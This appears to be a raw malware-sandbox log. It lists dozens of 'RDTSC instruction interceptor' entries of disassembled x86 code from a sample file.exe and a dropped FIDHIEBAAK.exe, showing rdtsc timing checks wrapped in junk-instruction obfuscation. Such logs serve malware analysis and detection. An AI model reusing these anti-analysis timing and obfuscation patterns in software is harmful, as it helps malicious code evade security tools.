Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4097E second address: 4E409F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F23CC733A37h 0x00000009 adc al, 0000001Eh 0x0000000c jmp 00007F23CC733A39h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F23CC733A30h 0x00000018 sub esi, 25869118h 0x0000001e jmp 00007F23CC733A2Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 leave 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F23CC733A35h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E409F4 second address: 4E4057D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CCC4C821h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0008h 0x0000000c cmp dword ptr [ebp-2Ch], 10h 0x00000010 mov eax, dword ptr [ebp-40h] 0x00000013 jnc 00007F23CCC4C815h 0x00000015 push eax 0x00000016 lea edx, dword ptr [ebp-00000590h] 0x0000001c push edx 0x0000001d call esi 0x0000001f push 00000008h 0x00000021 pushad 0x00000022 pushad 0x00000023 mov esi, 15D18473h 0x00000028 mov esi, 3EB5F4CFh 0x0000002d popad 0x0000002e pushfd 0x0000002f jmp 00007F23CCC4C824h 0x00000034 sbb ecx, 28F82F78h 0x0000003a jmp 00007F23CCC4C81Bh 0x0000003f popfd 0x00000040 popad 0x00000041 push 447402A1h 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F23CCC4C822h 0x0000004d rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8B2E1B second address: 8B2E20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8B2E20 second address: 8B2E3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F23CCC4C816h 0x0000000a jno 00007F23CCC4C816h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jg 00007F23CCC4C816h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8C66C1 second address: 8C66EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F23CC733A26h 0x0000000a jmp 00007F23CC733A36h 0x0000000f jne 00007F23CC733A26h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push edi 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8C685E second address: 8C6862 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8C6862 second address: 8C6870 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8C6870 second address: 8C6874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8C6874 second address: 8C6891 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CC733A39h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8C6891 second address: 8C68C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F23CCC4C829h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F23CCC4C81Eh 0x00000012 jo 00007F23CCC4C816h 0x00000018 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8C6CD9 second address: 8C6CDE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8C6E09 second address: 8C6E0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8C6E0F second address: 8C6E17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8C6E17 second address: 8C6E1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8C6E1F second address: 8C6E2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8C6E2A second address: 8C6E2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8CAA6B second address: 8CAA6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8CAAF5 second address: 8CAAF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8CAAF9 second address: 8CAB08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CC733A2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8CAB08 second address: 8CABD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CCC4C81Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 5051D407h 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007F23CCC4C818h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a pushad 0x0000002b jmp 00007F23CCC4C81Eh 0x00000030 mov dh, 65h 0x00000032 popad 0x00000033 xor dword ptr [ebp+122D1E1Eh], edi 0x00000039 push 00000003h 0x0000003b push 00000000h 0x0000003d push edx 0x0000003e call 00007F23CCC4C818h 0x00000043 pop edx 0x00000044 mov dword ptr [esp+04h], edx 0x00000048 add dword ptr [esp+04h], 00000019h 0x00000050 inc edx 0x00000051 push edx 0x00000052 ret 0x00000053 pop edx 0x00000054 ret 0x00000055 mov dword ptr [ebp+122D3A67h], eax 0x0000005b push 00000000h 0x0000005d call 00007F23CCC4C823h 0x00000062 pop ecx 0x00000063 push 00000003h 0x00000065 mov dword ptr [ebp+122D30BDh], eax 0x0000006b call 00007F23CCC4C819h 0x00000070 jmp 00007F23CCC4C829h 0x00000075 push eax 0x00000076 push eax 0x00000077 push edx 0x00000078 jmp 00007F23CCC4C81Ch 0x0000007d rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8CABD5 second address: 8CABDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8CABDB second address: 8CABDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8CABDF second address: 8CAC03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push ecx 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 jmp 00007F23CC733A2Ah 0x00000015 popad 0x00000016 pop ecx 0x00000017 mov eax, dword ptr [eax] 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8CAC03 second address: 8CAC07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8CAC07 second address: 8CAC0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8CAC0D second address: 8CAC22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jo 00007F23CCC4C820h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8CAC22 second address: 8CAC58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop eax 0x00000008 cld 0x00000009 jbe 00007F23CC733A32h 0x0000000f jne 00007F23CC733A2Ch 0x00000015 lea ebx, dword ptr [ebp+1245F97Dh] 0x0000001b xor edx, 3E59BD50h 0x00000021 xchg eax, ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F23CC733A2Ah 0x0000002b rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8CAC58 second address: 8CAC68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CCC4C81Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8CAC68 second address: 8CAC81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F23CC733A35h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8CAD1A second address: 8CAD20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8CAD20 second address: 8CAD28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8CAD28 second address: 8CAD39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push esi 0x00000009 je 00007F23CCC4C81Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8CAF02 second address: 8CAF30 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 jmp 00007F23CC733A36h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 ja 00007F23CC733A26h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8CAF30 second address: 8CAF3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F23CCC4C816h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8CAF3A second address: 8CAFB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b jnp 00007F23CC733A28h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 jmp 00007F23CC733A2Ah 0x0000001b pop eax 0x0000001c mov esi, dword ptr [ebp+122D2D30h] 0x00000022 push 00000003h 0x00000024 push 00000000h 0x00000026 push ebp 0x00000027 call 00007F23CC733A28h 0x0000002c pop ebp 0x0000002d mov dword ptr [esp+04h], ebp 0x00000031 add dword ptr [esp+04h], 00000019h 0x00000039 inc ebp 0x0000003a push ebp 0x0000003b ret 0x0000003c pop ebp 0x0000003d ret 0x0000003e jmp 00007F23CC733A31h 0x00000043 stc 0x00000044 push 00000000h 0x00000046 push 00000003h 0x00000048 call 00007F23CC733A29h 0x0000004d jng 00007F23CC733A2Ah 0x00000053 push edx 0x00000054 pushad 0x00000055 popad 0x00000056 pop edx 0x00000057 push eax 0x00000058 pushad 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8CAFB5 second address: 8CAFB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8CAFB9 second address: 8CAFDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F23CC733A32h 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8CAFDB second address: 8CAFDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8E9AE1 second address: 8E9AE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8E9C06 second address: 8E9C0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8E9C0A second address: 8E9C15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8E9C15 second address: 8E9C39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F23CCC4C829h 0x00000009 jng 00007F23CCC4C816h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8E9C39 second address: 8E9C56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F23CC733A26h 0x00000009 jmp 00007F23CC733A30h 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8EA31D second address: 8EA327 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8EA327 second address: 8EA335 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F23CC733A26h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8EA824 second address: 8EA831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8EA831 second address: 8EA85E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CC733A35h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007F23CC733A30h 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8EA85E second address: 8EA882 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d jns 00007F23CCC4C816h 0x00000013 pop edx 0x00000014 pushad 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 push esi 0x0000001a pop esi 0x0000001b popad 0x0000001c jg 00007F23CCC4C81Ch 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8EA9F5 second address: 8EA9F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8DFE4A second address: 8DFE54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F23CCC4C816h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8DFE54 second address: 8DFE82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CC733A31h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F23CC733A31h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push edi 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8B6391 second address: 8B63A0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8B63A0 second address: 8B63A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8B63A4 second address: 8B63C2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F23CCC4C822h 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8B63C2 second address: 8B63DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F23CC733A33h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8EAB1D second address: 8EAB4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007F23CCC4C816h 0x0000000c popad 0x0000000d jng 00007F23CCC4C82Dh 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8EAB4B second address: 8EAB55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F23CC733A26h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8EAB55 second address: 8EAB5B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8EAB5B second address: 8EAB89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jno 00007F23CC733A32h 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 jmp 00007F23CC733A30h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8EB38F second address: 8EB393 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8EB393 second address: 8EB39B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8ECED8 second address: 8ECEDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8EDDE5 second address: 8EDDE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8EF6DF second address: 8EF6EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CCC4C81Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8EF7F5 second address: 8EF7FF instructions: 0x00000000 rdtsc 0x00000002 jne 00007F23CC733A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8EF7FF second address: 8EF805 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8F606B second address: 8F6090 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007F23CC733A26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F23CC733A39h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8F6090 second address: 8F609A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F23CCC4C822h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8F609A second address: 8F60A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8F5511 second address: 8F5517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8F58F6 second address: 8F5900 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F23CC733A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8F5BB6 second address: 8F5BBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8F5BBC second address: 8F5BC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F23CC733A26h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8F5D42 second address: 8F5D4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F23CCC4C816h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8F5E82 second address: 8F5E99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F23CC733A26h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 jne 00007F23CC733A26h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8F5E99 second address: 8F5E9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8F7C32 second address: 8F7C4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CC733A30h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8F7C4A second address: 8F7C56 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8F80B7 second address: 8F80BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8F80BD second address: 8F80C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8F816E second address: 8F8174 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	RDTSC instruction interceptor: First address: 8F8350 second address: 8F8363 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23CCC4C81Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
